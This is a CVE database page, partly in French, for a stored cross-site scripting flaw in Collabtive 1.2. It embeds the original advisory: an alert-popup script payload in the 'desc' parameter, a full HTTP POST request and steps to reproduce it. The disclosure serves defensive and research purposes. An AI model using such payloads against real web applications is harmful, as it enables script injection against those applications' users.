CVE-2014-3247
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Descriptions du CVE
Cross-site scripting (XSS) vulnerability in Collabtive 1.2 allows remote authenticated users to inject arbitrary web script or HTML via the desc parameter in an Add project (addpro) action to admin.php.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 4.3 | AV:N/AC:M/Au:N/C:N/I:P/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 33250
Date de publication : 2014-05-07 22h00 +00:00
Auteur : Deepak Rathore
EDB Vérifié : Yes
Vulnerability title: Stored XSS vulnerability in Collabtive application
(CVE-2014-3247)
CVE: CVE-2014-3247(coordinated with cve assigning team and vendor)
Vendor: Collabtive
Product: Collabtive (Open Source Project Management Software)
Affected version: 1.12
Fixed version: 2.0
Reported by: Deepak Rathore
Severity: Critical
URL: http://[domain]/collabtive-12/admin.php?action=addpro
Affected Users: Authenticated users
Affected parameter(s): desc
Issue details: The value of the desc request parameter is copied into the
HTML document as plain text between tags. The payload 1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6 was submitted in the desc parameter.
This input was echoed as 1c91c<img src=a onerror=alert(1) >cc245622da6 in
the application's response. This proof-of-concept attack demonstrates that
it is possible to inject arbitrary JavaScript into the application's
response. The proof-of-concept attack demonstrated uses an event handler to
introduce arbitrary JavaScript into the document.
HTTP request:
POST /collabtive-12/admin.php?action=addpro HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101
Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/collabtive-12/index.php?mode=login
Cookie: PHPSESSID=ri2sqmga763p7qav73enfv99p5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
name=test&desc=test928a4<img%20src%3da%20onerror%3dalert(1)>a480a723950&neverdue=neverdue&budget=10&assignto%5B%5D=1&assignme=1
Steps to replicate:
1. Login into application
2. Go to "Desktop" tab and click on "Add project"
3. Fill the project details in the project form and click on "Add" button
4. Intercept request by interception proxy i.e. OWASP Zap, Burp Suite etc
5. Replace "desc" parameter value with "1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6"
6. Forward manipulated request to server and wait for response in browser
7. A popup with alert message will come that is the proof of vulnerability.
Tools used: Burp Suite proxy, Mozilla Firefox browser
Best Regards,
Deepak
Products Mentioned
Configuraton 0
O-dyn>>Collabtive >> Version 1.2
- O-dyn>>Collabtive >> Version 1.2 (Open CPE detail)
